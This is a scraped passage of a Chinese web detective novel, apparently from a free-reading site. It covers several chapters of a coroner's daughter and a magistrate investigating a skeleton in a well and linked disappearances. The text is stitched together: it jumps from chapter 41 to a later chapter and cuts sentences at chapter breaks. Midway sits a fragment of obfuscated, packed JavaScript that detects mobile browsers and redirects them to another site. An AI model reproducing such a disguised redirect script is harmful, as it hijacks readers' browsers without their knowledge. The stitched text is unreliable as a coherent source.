“至于亓官郎君,”她道,“亓官郎君找寻东西的本事很不错,他动作也快,定能以最快的速度让整个县的水井里被洒满泻药。” 听到此处,王珏突然柔声一笑,“顾娘子聪慧过人,王某佩服。” 月夕却认真道:“县尊出身琅琊王氏,本该在京城做官,却来了黎阳县,还为百姓除了大害,小女亦是敬服。” “敬服?我还以为你会怪我不将此信提前交于你手。” 月夕点头,毫不掩饰,“我自然会怪,但怪了又如何?若是怪了,县尊能不顾大局将信给我吗?” 王珏忽而愣住,没想到她会这般坦诚,他一时竟不知该如何接话。 正此时,院中传来一阵十分聒噪的声音。 “好啊你个王潜之!外头都大乱了,你倒好,竟还有心思与小娘子喝美茶谈风月!” 说话间,一只彩羽野鸡忽然出现,他一把夺过王珏手里的杯盏,毫不客气地一饮而尽,又将杯盏递到他面前,示意再给他倒一杯。 王珏只轻抬眼皮,看了他一眼,苏朗等不及,便自己上手,自顾自地给自己倒了一杯,再次一饮而尽。 等到苏朗能好好喘气了,王珏才道,“出了何事?” “自是大事!”苏朗道,“阿兰在后院的水井里,发现了一具骷髅!” 王珏干脆支起下巴,略微歪了歪脑袋等着他继续说下去。 苏朗感觉气氛到了,这才继续道,“纳兰说,那是一具死了多年的男尸!更绝的是,那男尸腰间还挂了块玉,我去周边邻里处询问了一番,你猜怎么着!这玉竟是院子原主人的!” 因着近日那些事,王珏几乎没日没夜地在料理,今日好不容易休衙,他委实是不想再动弹了。 于是乎,他就这般慵懒地支着头,连语气都是慵懒的,“你还查出了什么?” 这一句话仿佛戳中了苏朗的爽|点,他几乎蹦得三尺高,像极了一只因得了吃食而十分得意的猴子。 “你猜怎么着!”他神秘兮兮地冲着王珏与月夕挑眉,语气也随之压得低了些,“听闻那院子原主人竟是与县上何秀才的夫人有染,两人如胶似漆,几乎是到了私奔的程度!” 人人皆爱听这些没来由的小道消息,月夕也不例外,她甚至不自觉地捧上杯盏,自己给自己倒了一杯,边品尝着茶中滋味,边听苏朗讲故事。 “我听闻当年何秀才还因此上门抓过奸,只可惜当日下雨,何秀才在路上摔了一跤,终究还是晚了一步。” 苏朗说得眉飞色舞的,像极了那茶馆里的说书人,“你们猜后来怎么着了?” “死阿兄!让你来报案,你磨磨唧唧做什么?” 正说到精彩之处,苏兰的声音传了过来。 月夕朝那边看去,却见苏兰依旧一身粉色襦裙,看上去很是娇嫩,只是脸色却不大好,看上去像是哭过。 王珏坐正了身子,眼见着她拎着裙子撇着嘴走过来,“潜之哥哥,月夕姊姊,这回你们可要帮帮我呀。” “发生了何事?”王珏问。 苏兰一屁股坐到了月夕的身边,哭唧唧道,“我……我好像见鬼了。” 王珏乃公门中人自不信那些怪力乱神,月夕更是个可以与鬼怪相处的性子,是以苏兰话音刚落,两人都很是平静。 “可知是个 38. 旧案 《解语(探案)》全本免费阅读 月夕给他盖上了一块干净的白叠布,填好验案后走了出去。 苏朗见状,连忙凑上来,“月娘子,如何了?” 许是苏朗身上还有些药味儿的缘故,月夕总觉着他下一句会说,还有没有救。 她凝了凝眉,向他伸出手,“玉呢?” 苏朗慌忙从袖袋中掏出一块玉,那是一块非常干净的和田玉,几乎触手生温,形状也很是特别,像是两只堆叠在一起的葫芦,用一条长长的金链子串着,倒也有几分贵气。 月夕接过玉,细细地看了一圈,上头的痕迹全都被抹去了,想来是被人细细擦拭过了。 她抬眸看了眼苏朗,随即从工具箱子里拿了只白叠布袋,将玉往里头一塞。 “怎么样?”苏朗又问。 月夕道,“详细记录我已写成验案,一会儿呈于县尊。不过……” 她看向苏朗,“也不知那何秀才可抓奸成功?” 苏朗没想到她会问这个,他立即来了劲儿,道,“却说当日何秀才在抓奸路上摔了跤,赶到时为时已晚,他本想着等夫人回去后再做打算,没成想没过几日,他便得知自己夫人与那袁老板私奔了。” “哦,这袁老板便是阿兰布坊的原主。”他还不忘解释道。 月夕问:“那袁老板年岁几何?” “三十有七了吧。”苏朗想了想,确认道,“私奔时确实三十有七。” 月夕点点头,正欲离开,但想了想,还是给他丢了一句,“那具骷髅死时大约十四五岁。” 苏朗听罢,心里的八卦之火再次熊熊燃起,“这么说!秀才夫人果然与那袁老板私奔了!这个十四五岁的少年定是袁老板留下糊弄人的假象!何秀才得知此事,前来问罪,一不小心将那少年给弄死了,为了毁尸灭迹,便将那少年丢进了井里!” 他啧啧了几声,“还真是一场酣畅淋漓的杀人事件!” 月夕:…… 苏兰:…… 苏兰白了他一眼,“阿兄,你今日不是要给百姓们分发汤药么?要是晚了名声可保不住了。” 说着,苏兰近前几步,十分亲昵又自然地挽上了月夕的胳膊,“月夕姊姊,我阿兄今日可忙了,咱们先走吧。” 月夕原也不是个爱打听的性子,大约是与这对兄妹相处久了,性子也稍稍外放了些,再加上苏朗的行为的确有些奇特,是以她顺口问了一句,“名声?” 苏兰哼了一声,“阿兄跟我可不同,他在苏家是有名姓的,今次出京,若做不出什么,怕是回不了京呢。” 月夕不懂,但还是叹了一句,“苏家家风严谨。” 苏兰的神色暗了暗,也叹了一句,又似是在喃喃自语:“可不是么……” 苏兰跟着月夕一路走着,直到案牍库门前停了下来,她正诧异为何不去前厅,却听里头传来王珏的声音。 “进来。” 苏兰微微一愣,但还是跟着月夕走了进去。 案牍库坐北朝南,是整个衙门最干燥的地方,此时有一缕阳光从窗外照射进来,正好打在了在看书的王珏身上。 恍惚间,月夕竟是在他身上看到了一丝莫名其妙的神性。 王珏抬头看过来,见苏兰也跟了进来,剑眉微微一挑,“验完了?” 月夕颔首,将验案呈交过去,“死者该是个十四五岁的少年郎君,浑身骨骼被打断重组过,看其黏合程度,该是在活着的时候,生生被打断的。” 听到生生被打断这五个字,月夕明显感到挽着自己的苏兰浑身一震,手心亦是有些微微冰凉。 她蹙了蹙眉,继续道,“此外,从面部稍稍扭曲的颧骨来看,他该是天生有残缺。” “恩。”王珏接过验案看了一遍,又将手里的一张案牍递了过去。 月夕接过案牍,翻开一看,这上头竟是一起五年前的失踪案。 失踪的是县里姓林的一家商户的长子,因是先天有缺陷,一直被家人护着,有一日上街,便失踪了,时至今日都未曾寻到。 案牍第二页便是那失踪少年的肖像,虽简略了些,但人物的大致特征却十分清楚。 更重要的是,他左脸面部的颧骨也是稍稍扭曲的。 月夕看完案牍,将其交了回去,“县尊早就知道了?” “这几日整理案牍,发现县里失踪之人与栖月楼秦娥楼暗自运作买卖之人的数量对不上,其中还有几起案子也很是可疑。譬如这林家大郎,再譬如……”他又将两张案牍递了过去,“这两起案子。” 月夕接过再次翻开,其中一起已经销案,说的正是那何秀才夫人失踪一案,是何秀才本人销的案,案牍上写的是夫人回了老家。 另外一起讲的是半月前万缘私塾的方夫子误食自购砒|霜中毒而亡的案子,此案最后以意外结案。 “误食砒|霜?”还未等月夕质疑,苏兰忽然喊出了声,“谁人不知砒|霜剧毒?是个正常人将这东西买回去都会好好藏着,怎地还会误食?这还是个夫子……” 王珏眨了眨眼,显然他也是这样的想法。 “有意思的是,这三个案子,竟是在今日发生了联系。”他道,“林大郎死在了传言那与何秀才夫人私奔的袁老板布坊内,而何秀才如今是万缘私塾的夫子。” 月夕问,“县尊以为是巧合还是蹊跷?” “顾娘子觉着呢?” 月夕沉着脸,正色道,“蹊跷。” 王珏抿唇一笑,“巧了,本县也是这么认为。” 苏兰听得认真,不自觉地接了一句,“那咱们是不是要将那何秀才寻来问一问?” 话音刚落,王珏与月夕不约而同地看向了她,苏兰自觉多言,下意识地紧了紧抱着月夕的手,险些将自己埋进月夕的胳膊里,“我说得……说得不对吗?” 王珏微微挑眉,丝毫不是生气的模样,甚至耐心地反问道:“以什么名义呢?” 苏兰想了想,忽然顿住了,是啊,以什么名义呢?难道时隔几年后还要当面问他,他夫人与人私奔之事么? 王珏这才问月夕,“令尊的葬礼何时举行?可选好宝地了?” 月夕点点头,“从前阿爷总爱去城外岔子河对面的乱葬岗,想来那里该有他的朋友,我打算去看看,顺便祭拜祭拜。” 王珏颔首,“何时去?” “明日。” 从县衙出来时已经过了午时,日头毒辣地吓人,好在苏兰是乘着马车过来的,月夕便也顺水推舟地坐上了顺风马车,回了七角巷。 只是才刚要下车,却被苏兰叫住,月夕转身,疑惑地看着她,“怎么了?” 苏兰微微低下了头,那欲言又止的模样,仿佛即将要说出口的是一些难以启齿的事。 月夕往自家院子望了望,又想起她对自己很是依赖的行为,心中顿时有了些许的猜想。 于是她道,“我阿爷这几日还停在堂屋里,你若是不害怕,可以一道。” 听到这话,苏兰的脸霎时间白了白,就 39. 恩怨因果 《解语(探案)》全本免费阅读 应承下教苏兰认字一事,当天下午月夕便拿了本医书教她。 原本月夕还觉着苏兰兴许会看不懂,谁想才教了几遍,她便已经可以默写其中的几张药方,甚至知晓其中的妙用了。 月夕很是开心,连带着这些日子藏在心里最深处不被察觉的阴郁,也被一扫而光。 入夜之后,两人又在顾宗棺木前上了柱香,随即便相持上了卧榻,月夕还是头一回与人抵足而眠,甚是不习惯,躺下后不敢再乱动,生怕抢了苏兰的枕头被子。 苏兰倒是睡得很是自然,甚至在被子底下还挽上了她的胳膊,大约是真的寻到了安全的地方,从月夕的角度看去,她像极了一只蜷缩在自己窝里的小兔子。 月夕竟是愣了愣。 似乎在她的印象里,还真是养过这么一只小兔子。 可她想不起来了。 “月夕姊姊。”苏兰抬起头,那双大大的杏眼朝着她眨巴着,“你睡不着吗?” 月夕本想否认,但还是嗯了一声。 苏兰紧了紧挽着她胳膊的手,“今日在打扫屋子的时候,我瞧见姊姊箱子里有一枚簪子。” 她边说着边有些小心翼翼地看着月夕,“姊姊你莫要不高兴,我只是觉着那簪子有些眼熟,所以……便多看了一眼。” 月夕脸色微微一沉,心底确实是闪过一丝不快,可听到她后头的解释,那一丝不快也瞬间散去,化作疑问,“你认识那枚簪子?” 苏兰点点头,“姊姊你兴许应该知道了,我父……父亲他……是户部的侍郎,我阿娘是个……在他们眼中是个不详的女子,我比阿兄晚一盏茶的功夫出生,原也差不多时候,可时辰交替之间,却是晚了一个时辰。” 她的声音柔柔的,并不像是在讲自己的往事,而像是在讲别人的故事,“偏偏就是这晚的一个时辰,我的嫡母姜氏便给我扣上了妖孽的名号,把我送到了庄子上。” “后来。”她道,“后来我再大些了,阿兄替我求了情,我这才有机会去通天观洗尘。” “通天观?”月夕总觉着这名字很耳熟,似是在哪儿听过,可怎么也想不起来。 苏兰点点头,“通天观是皇家道观,当今陛下未登基之前,便是养在那里。老观主人很慈祥,虽我的身份还不配劳烦他老人家为我洗尘,但也过来看了我一眼。虽然只是远远的一眼,他的样子依旧牢牢记在我心里。” “那日老观主穿着的是一身灰鼠毛织的袍子,颜色偏暗灰色,手中握着一把玉质镶金拂尘,那玉是顶级的黑玉,头上带着玉冠,玉冠上簪着一枚子午簪。” 她顿了顿,“姊姊你那簪子与老观主玉冠上的子午簪很像。” 苏兰想了想,肯定道:“那簪子上有御赐的标记,我不会看错的,只有通天观的子午簪上才有这个!” 月夕脸色微沉:“通天观老观主是谁?” “那位老观主是陛下的恩师,也是当今的国师,道号清风。”苏兰道,“只是如今老观主年事已高,只常年待在通天观里,若非国祭礼这样的大事,轻易是出不来的。” “通天观还有谁会戴这样的簪子?” 苏兰想了想,摇了摇头,“那日我只见过老观主戴。” 月夕渐渐陷入了沉思,她是青禾县柳家商户之女,又怎么与皇家道观扯上了关系? 那簪子是她被顾宗所救时一直攥在手心里的,与簪子一道被她攥在手心的还有一个防水皮囊,皮囊里是一把改良过的鲁班锁。 她把玩过那把锁,只有经过特定的手法才能打开,否则里面的东西便会玉石俱焚,是以要打开那东西,只能恢复记忆。 而她身边唯二能找回记忆的便是她脖子上的那块玉,以及那枚簪子。 起初她还以为那枚簪子是父母赠予她的,如今想来,这簪子不简单,她的身世怕是亦然。 这一夜,苏兰睡得很是香甜,而月夕却不然。 她在脑海里思考了关于自己身世的很多可能性,可最终都因为证据不足而夭折。 望着窗外渐渐明亮的天,月夕心里的那块石头却是越提越高,青禾县距离黎阳县快马三日,走船逆游而上也要两日,她是不是该等料理完顾宗后事之后,向县尊请个假,去那儿看看? 这几日七角巷很是热闹,听闻她要将顾宗送出去,好些街坊邻居都过来要给顾宗送行,作为未亡之人,即便月夕再不喜欢这样的热闹,也只能逼着自己接受。 好在院子里有苏兰,她似乎天生就适应这样的场合,与那些人交流起来亦是头头是道,就仿佛是相识多年的老友。 除了苏兰,她那位胞兄苏朗亦是有过之而无不及,甚至在顾宗的丧宴上逢人就介绍他回春堂的养神汤。 月夕暗暗摇了摇头,却并不打算阻止。 热闹了整整两日,顾宗这才被送了出去。 月夕给顾宗选的地方正是从前顾宗常去的岔子河对面的乱葬岗。 要知道乱葬岗这种地方,尸体一般都是草草得被一层草席裹一裹,随便挖个坑埋了,可那日她特地跑过去看风水,竟是在众多无名无主的坟包中发现了一块上书“顾丰之”的墓碑。 由此,月夕才明白,原来顾宗早已将自己的后事安排好了。 兴许他早就知道自己已经病入膏肓死期将至,谁想五年前,月夕阴差阳错地从河道上游飘过来,又恰巧被他发现。 顾宗下葬之后,众人都散了,王珏这才走了过来,他今日一身黑衣,身后还跟着三个人。 其中两人是飞燕与竹心,还有一个却是那晚被月夕用银针击中穴位的青霜。 今日阳光正好,打在了王珏的脸上,平日他穿的都是些浅色的衣裳,今日这一身黑色,竟意外衬得他身子挺拔,有一种别样的秀丽。 他走到月夕面前,柔声道,“我来送顾仵作一程。” 其实王珏早就送过顾宗了,前几日一大早还让人送来奠仪,昨晚甚至亲自过来上了香。 月夕看了看他,又看了看他身后的青霜,点了点头,侧身让了让。 银针若是用得妥当确实能杀人,可青霜知道太多东西,还不能死,是以那晚她也只是用银针把她弄晕了过去。 这几日青霜清瘦了很多,原本保养得当的脸已经开始有了皱纹和暗纹,脖子上的瘀痕也明显了不少,看着也老了许多。 青霜红着眼眶走到顾宗墓碑前,还没来得及上香便噗通一声跪了下来,没一会儿,前襟便湿了一片。 月夕与众人就这样默默地在一旁看着她,目光冷漠,似乎根本不期待她会交代什么。 等到她哭够了,才抬头问月夕,“我能否……给顾医师上柱香?” 月夕淡淡地看了她一眼,神情未变,“为何?” 即便她是顾宗的旧人,顾宗也是因她而死,月夕不明白她为何还会在这个时候过来给顾宗上香。 难道是愧疚? 然而她这番举动在青霜眼中却是另一种解读,她认为月夕是在怨恨她。 于是她哭得更伤心了几分,“月夕娘子,我也是迫不得已,顾医师虽对我有恩,可我那日若听了他的话必死无疑!我不像你们,都是良家娘子,如我这般天生就生在淤泥里的贱婢,即便是保持着每日的呼吸都要耗尽所有力量去争取。我只是想活着啊!” 说到最后,她 40. 打架斗殴 《解语(探案)》全本免费阅读 几乎是轰的一声,王珏顿觉自己的脑子里仿佛有什么东西炸开了一般,呼吸也跟着停滞了一会儿。 自小周围的人都爱夸他长得俊俏,他知道那些人的示好夸赞也不过是他背后琅琊王氏的缘故,况且他不喜欢别人夸他的容貌。 可不知为何,面对月夕这般真诚的目光,他竟觉得自己长成这样也是有些好处的。 他耳根止不住红了起来,未免月夕看出异常,他拿出扇子轻轻敲了敲她的额头,“说正事呢。” 他继续道,“那袁老板还活着。” 月夕的注意力果然被这正事引了过去,眉心也跟着凝了凝,“若是奔走,该是去个旁人都不认识他的地方,怎地还回了家乡?这不合理。” “嗯。”王珏道,“而且袁老板另有妻室,与妻室育有两子三女。” “两子三女?时间似是对不上。”月夕道,“可问清袁老板为何离开黎阳县吗?” 王珏神色也微微凝了凝,“说是晚上遇鬼,那些鬼要杀了他,无奈之下,他只好关了布坊连夜回乡。” 这倒是与苏兰的说法很像。 月夕抬首看向他,“县尊相信这世上有鬼吗?” 王珏摇头,“不信。” 月夕颔首,“我也不信。” 在乱葬岗逛了逛,两人这才乘船离开,原本王珏要送月夕回七角巷,可月夕似乎对袁老板的案子很感兴趣,便径自跟着王珏回了衙门。 刚进门,便在门口遇上了出门的楚括,他正一脸狼狈拉着陆一出门巡逻,见两人回来先是一惊,再是不好意思地挠了挠头,“月娘,我公务繁忙,今日没抽出时间去送送顾老,改日我再去顾老坟前给他老人家上一炷香。” “好。”月夕道,“阿爷也是公门中人,自是明白的。” 她顿了顿,问,“两位这是巡街去吗?” 楚括点头,“南街那边似是有人打起来了,我与陆一过去瞧瞧。” 月夕哦了一声,“辛苦了。” 楚括咧开嘴笑道,“月娘客气了,这是我们该做的。” 说着他便拉着陆一跑开了。 王珏的声音这才从她耳边响起,“你似乎与他们关系不错。” 月夕点头,“阿爷在的时候,衙门有公务时,都是楚括与陆一过来喊阿爷的。” 有时顾宗实在困顿,为了不耽误公务,楚括和陆一甚至直接进门,二话不说背起顾宗往县衙走。 想到这儿,月夕扭过头,看向王珏,正色道,“其实,我还有一个疑问。” “嗯?” 王珏示意她说,转身又往案牍库走去。 月夕紧跟上前,“县尊打算如何处置我杨阿爷……” 王珏目视前方,反问道:“你觉着我会如何处置?” “不知,但我想县尊应该不会让他受太多的苦。”月夕心里也没什么底,毕竟杨阿爷即便不知情,也是犯了律法,而王珏是公门中人,也定会用律法来惩罚他。 王珏又嗯了一声,“既然知晓,还明知故问?可是想替他求情?” 月夕毫不犹豫地点了点头,“毕竟她是我杨阿爷。” 王珏顿住脚步,转过身来看着她,“我听闻,这杨家与顾宗曾说过你的亲事?” 月夕也不知他为何突然停下,竟是险些与他撞个满怀,好在她在与他相撞的时候停下了。 她有些愣,“亲事?何时的事?” “杨家有一个儿子,叫杨吉。”王珏居高临下,看着她,“听闻是个青年才俊。若是今次科举一举高中,怕是前途无量。” 月夕想了想,认真点了点头,肯定道,“吉阿兄的学问确实不差,我阿爷也觉着今次他会榜上有名。”可这与她的亲事又有何关系呢? 王珏神色微顿,却听月夕再道,“不过,阿爷也说吉阿兄身上少了些烟火气,空有一腔热血,这样的人容易得罪人。” 王珏的脸色愈发沉了沉,空有一腔热血,容易得罪人,这不是在说从前的他吗? 他轻咳了几声,转身走进案牍库,将桌案上的一册记录簿交给她,“这是这几日楚括查到的东西。” 月夕接过翻看了起来,原来那袁老板刚来黎阳县时,为了拓展手头的布料生意,经常出入各个秦楼楚馆,没过多久就得了风流的名声。 再后来,有一日,何秀才的夫人进他的成衣店挑选衣裳,大约是那位夫人太过于貌美,一来二去便传出了流言。 与此同时,他夜里在自家布坊遇到了好些小鬼,那些小鬼整日在他耳边叽叽喳喳的,似是说要取了他的狗命。 起初他不信,可自那之后他院子里总是发生些奇怪的事,死老鼠、死蟑螂、死蛇等等出现是常态,最终他接受不了,便连夜收拾细软逃走了。 布坊与成衣店的店契都托了人沽卖,好巧不巧,被托付之人意外死了,这些铺子便辗转被莫府收了。 “如何?”王珏给她倒了杯茶。 月夕放下册子,“编得不错。” “何以见得?” 月夕想了想,道,“大多风流客都会以谈生意为由流连秦楼楚馆,我想这位袁老板怕是谈生意为假,好色是真。” 西街口珊娘的夫君于三郎便是如此。 于三郎家中做的是一些珊瑚珍珠的小生意,却总见他大腹便便流连于秦楼楚馆温柔乡,还偷偷在梨花巷养了个十分娇美的外室。 即便如此,若非靠着珊娘娘家接济,于三郎家的生意早就没了。 所以流连于秦楼楚馆只为谈生意这一点,月夕是不信的。 两人正说着,便有一个捕快急匆匆地跑了过来,他年纪不大,看身上脏污的衣裳想来跑过来的时候该是摔了好几跤。 “县尊!不好了!”小捕快着急地喘着,“楚哥和六哥跟人打起来了。” 王珏蹙了蹙眉,“公门中人怎地胡乱斗殴?” 小捕快道,“是他们先动手的!也不知是从何处来的一个疯妇人!在街上逮着个中年男子就拳打脚踢,楚哥和六哥想拦,结果没拦住,也被那疯妇揍了一顿,后来那疯妇去了何秀才家,把那何秀才也打了一顿,楚哥和六哥怎么拦都拦不住,便让小的赶紧回来报给县尊。” 月夕听到了重点,“你是说,何秀才?” 小捕快点头,“这会儿他们应该还在何秀才家呢。” 何秀才家在靠近河边的锤子巷,顾名思 41. 八卦趣事 《解语(探案)》全本免费阅读 这个月的黎阳县县衙着实热闹,隔三差五就开堂,爱看热闹的百姓听到衙门的动静,都纷纷从家中跑到衙门前,一个个抻着脖子往里看,十分地忙碌。 月夕坐在了文书的位置上,原本她是不想的,可王珏说县衙还没来得及招文书,还需她再暂代一番,无奈她也只好坐下了。 从何秀才家带来的人全都跪在了堂下,眼看着堂上威武的大堂以及堂上如阎王般坐着的王珏,前脚还在锤子巷撒泼的妇人,这会儿安静乖巧地像一只鹌鹑。 而另外一边,那瘦弱的男子笔挺挺地站在不远处,如看仇敌一般看着依旧在哭的男子,仿佛下一刻就要将其撕碎。 眼看着这两人又要打起来了,林修近前将那埋头痛哭着的男子又拉开了好几步远。 等众人就位,王珏这才敲了一下桌案上的惊堂木,周围迅速安静了下来。 “堂下何人?”王珏问。 妇人坐直身子,颤颤巍巍开口道,“回大人,民妇郑氏,乃他袁正奎的结发之妻!” 那哭着的男人这才坐起身,哑着声道,“回大人,小民正是袁正奎。” 袁正奎方才一直掩着面,这会儿不哭了,将脸露出来时却是吓了围观众人一跳。 却见他那张满是横肉的方圆脸上布满了一道一道的血痕,像是有人用指甲划的。 众人的目光不由得落在了妇人那又长又尖涂了红色丹寇的指甲上,心里一凉。 “学生何盛,是黎阳县的一名秀才。”站着的瘦弱男子也出了声,但他几乎是咬着牙说的。 月夕握着笔写字的手忽而一顿,微微抬头往那边看去,原来这个男人便是传闻中的何秀才。 这何秀才看上去不过五尺六寸,着一身旧且干净的布衣,虽然很是瘦弱,但看起来也是有几分读书人的气质的。 反观一旁的袁正奎,那油光满面的脸与木桶般的身形,倒也对得起脑满肠肥这四个字。 王珏继续道,“郑氏,你所诉何冤?” 郑氏一听王珏叫自己,连忙哭道,“大人一定要为民妇伸冤啊!这天杀的袁正奎,背着我这个正头妻房在外头养外室,还意图拐带良家夫人与他私奔!这天杀的袁正奎背信弃义!还请大人为民妇做主!” 这边的袁正奎也委屈地哭了起来,他连连道,“县尊大人,小人一直都是个良民,哪里会做这些个昧良心的事啊!是我家夫人她捕风捉影,旁人说什么便是什么,小人当真没做过啊!” “袁正奎!你当真问心无愧吗?罗泗县葫芦巷的那些个小贱人又是你什么人?养一个两个是你好心,养七个八个算什么?风流?我还以为你这些年学好了,没想到竟还干上了拐带的活计!我告诉你袁正奎!今日我定不会放过你!” 说着,郑氏举起双手又要朝袁正奎的脸上挠去。 林修近前,再次将两人分开。 待到堂上再次安静,王珏轻咳了几声,“袁正奎,你可有解释?” “有!小人有!”袁正奎道,“小人没做过就是没做过,那些小娘子也是小人可怜她们无家可归,这才暂且给她们个住处安顿一下,小人真的什么都没做啊!” “没做?”郑氏激动地举起手又要去挠人,“要是没做,那些孩子是哪儿来的?天上掉下来的?” “那是那些小娘子为了报恩……”袁正奎越说越委屈,“我也是个正常男人啊……” 在场众人不由暗自嗤笑了一声,就连月夕也冷冷一笑,这袁正奎的嘴还真是伶俐。 郑氏听罢又要去挠他,王珏再一次敲响惊堂木,神情严肃,“郑氏,你与袁正奎的婚姻之事不归本县管。本县且问你,你与袁正奎何故出现在锤子巷,还意图用柴刀对我衙门捕快动粗?” 郑氏本还想再喊冤,可听到王珏说她对捕快动粗,顿时慌了,她连连道,“冤枉啊县尊大人,民妇哪里敢对捕快大人动粗?民妇只是要抓袁正奎!可他这个天杀的逃得比泥鳅还快!民妇……民妇也不知道该怎么办才好啊!” 王珏蹙了蹙眉,再问:“你二人为何会出现在锤子巷?” 妇人这才止住大闹,回过身死死地瞪着一脸无辜的袁正奎,“前几日有黎阳县的官人上门找他,民妇还以为是这里的生意出了什么问题,谁想一打听才知道,这天杀的竟干了拐人妻的勾当,我郑家虽不是什么大户人家,可也是正经生意人家,家中出了这种事,民妇自当要亲自出面解决。” 她指着袁正奎,“袁正奎!在县尊大人面前,你还敢不说吗?” 月夕的笔触又是一顿,原以为郑氏只是个无理取闹泼辣的性子,没成想竟还有如此觉悟与担当,相比之下,那袁正奎却是差远了。 袁正奎又委屈地哭上了,“夫人呐,我说没有就是没有,你怎地总是爱听旁人瞎胡说,却一点都不肯信我呢?” “信你才有鬼!”郑氏道,“你若还不说,我这便回去让郑氏族老拟和离书!我郑家的名声,可不能毁在你这种腌臜货手上!” 说着她就要起身离开,袁正奎这才慌了,都忘了哭,连滚带爬地跑到郑氏面前,死死抓住她的裙摆,“夫人,我错了!我再也不敢了!我说!我说!” 月夕微微眯了眯眼,连忙换了一张纸,笔尖蘸满了墨,边听着边劲笔疾书。 原来之前袁正奎是在胭脂巷开成衣店时,才遇见何秀才的夫人柳氏的。 初见时,袁正奎就被柳氏的身段所吸引,那日天气不热,她却穿着一身单薄的浅碧色外裳,衬得腰肢盈盈一握,行走时更是扭动如蛇,很是勾人心魄。 “上来就盯着别人的腰看,你还说你没干那些事儿?”郑氏再也没忍住,一把揪住袁正奎的耳朵,咬牙质问道。 “疼疼疼疼疼!夫人,轻点儿!”袁正奎疼得龇牙咧嘴,“还不是因为她故意在我面前搔首弄姿,我也只不过多看了一眼而已,夫人啊,就是多看一眼,也不至于吧……” 八卦趣事谁都爱听,更遑论这种听上去像是风流韵事的事,不止是在场的捕快们,就连站在门外往里探头的百姓们也都纷纷开始议论了起来,一时之间,很是热闹。 而站在堂上的何秀才,脸色却是越来越难看。 又是一记惊堂木,四座皆无声,王珏清了清嗓子,正色道,“你二人的婚姻纠纷并非本县管辖之事,但你二人擅闯民宅,殴打宅主,却是律法不容,来人!” 林修带着几个捕快应了一声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913746|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不下去了。 王珏叹了口气,对穆村长道,“让她们下去好生歇着吧。” “慢着。”月夕定定地看向贞娘,“你们平日里一直都待在这个院子里吗?” 贞娘点头,“姊妹们都要留在院子里照看孩子,而且大郎也不许我们出去。” 月夕又问:“你们在院子里,除了照看孩子之外,还做些什么?” 贞娘顿了顿,道,“也没做什么,就是做做女红,织织布,绣绣花,种种菜什么的,姊妹们也没别的事可以做。” “是么?”月夕看着她,“你们当中可有人识字?” 贞娘微怔了一下,“大约只有淑娘、我和闵娘识得一些吧……” “你们是怎么来这个村子的?” 此话一出,花厅中一片寂静,妇人们的脸色一个比一个难看,穆二与穆村长也沉着脸,两双眸子死死地盯着她们。 似是感受到了两人的目光,贞娘浑身一震,身子又蜷了蜷,她吞了吞口水,许久之后才答道:“自然是……自然是大郎聘娶的。” “那你们……” “苏娘子,大郎是跑船商的,来来往往认识的人不少,虽然他的许多妾室是生意伙伴送的,但大郎是个懂理之人,是以府上几乎每一个妾室都是聘娶回来的。” 穆村长解释完,眼里慈祥依旧,眼底却闪过一丝冰冷的不悦,“敢问,她们的来历可与大郎被杀有关?” 月夕暂时不能推测穆大之死与这些妾室的来历有关,于是摇了摇头,“暂时无关。” “既如此,便让她们下去看孩子吧。”穆村长朝贞娘几人挥了挥手,示意她们下去。 贞娘慌忙起身,并将一旁的几个妇人一并扶了起来,未等月夕再开口,迅速退了出去。 看着她们如临大赦的神情,月夕蹙了蹙眉。 “天色不早了,既然院子里的火已经灭了,还劳烦穆村长派人将所有现场都守住,我们明日再查。”王珏站起身,想了想又补充了一句,“案发现场是否完整关系到是否能找到真凶,还望穆村长派几个信得过的人看着。” 穆村长亦是起身亲自相送,“苏朗军放心,那几处案发现场,老朽必定叫人牢牢守着,一只苍蝇都不许放进去!” 王珏转过身拉起月夕,“穆村长不必送了,我与舍妹认得路,天寒露浓,您老还是先回去歇着吧。” 听完这话,穆村长还真就停下了脚步,朝王珏拱了拱手,“那老朽就只送到这里了。二郎,你送二位回去。” 穆二会意,迅速拿了灯笼走到前头引路,“两位这边请。” 穆二将两人送到院门口就离开了,庭院廊下早已被小厮收拾干净,因着还有些疑问,月夕便跟着王珏进了他的卧房。 当她踏入卧房时王珏便已了然她的来意,可她就这般跟了进来,他的心房某处还是不自觉地紧了紧。 月夕倒是没觉得不对,大喇喇地便在桌案旁坐了下来,顺便将桌案上的文房四宝展开,自顾自地在一张空白的纸上写写画画了起来。 茶几上的茶壶还是温的,有着前车之鉴,王珏只摸了摸壶身,便顺手将茶几上燃着的灯盏拎了起来,放到月夕坐着的那张桌案上。 霎时间,月夕觉着桌案上的纸也亮堂了起来。 68. 龙形花瓶 脸上的面巾早已被扯下,月夕紧抿着唇埋着头,紧皱着眉头在纸上写着,暖黄色的灯光正好将她的侧脸罩住,面上的烧伤清晰可见。 月夕在认真写字,王珏却在认真地用目光在她的脸上描绘着。 他只在她·验尸的时候才能瞧见她这般认真的模样,为了不影响她,每每他总是站得远远的,而这一回,他第一次离得这么近。 轻拧着的眉心,如杏仁般的眼睛,小巧又挺翘的琼鼻,微微嫣红的殷桃小口,巴掌大小的一张脸,还有脸上那一片不规则的烧伤痕迹。 这一切的一切似乎都恰到好处,她就好像是一朵被暴风雪折了一角的梅花,在他的心里静悄悄地绽放开来。 忽然,那朵美丽的梅花抬起头,一双清澈的眼神看了过来。 像是被撞破了心思,王珏突然咳嗽了起来,月夕见状,起身给他倒了杯茶,“你怎么了?” 王珏接过茶,并没有喝,只摇了摇头,用嘴努了努桌案上月夕写好的纸,“写完了?” “嗯。”月夕点头,将纸铺开,指着上面的字道,“穆家人似是有意隐瞒了许多事,就目前已知的情势来看,造成死者小宝、死者穆二娘与死者穆大死亡的凶手应该是同一人。” 那张纸上满是娟秀的字,显眼的三个死者人名之后,各自是他们的死因,每个死因虽都有不同,但也有共同之处,那便是断肠草与不知是何物的齿痕。 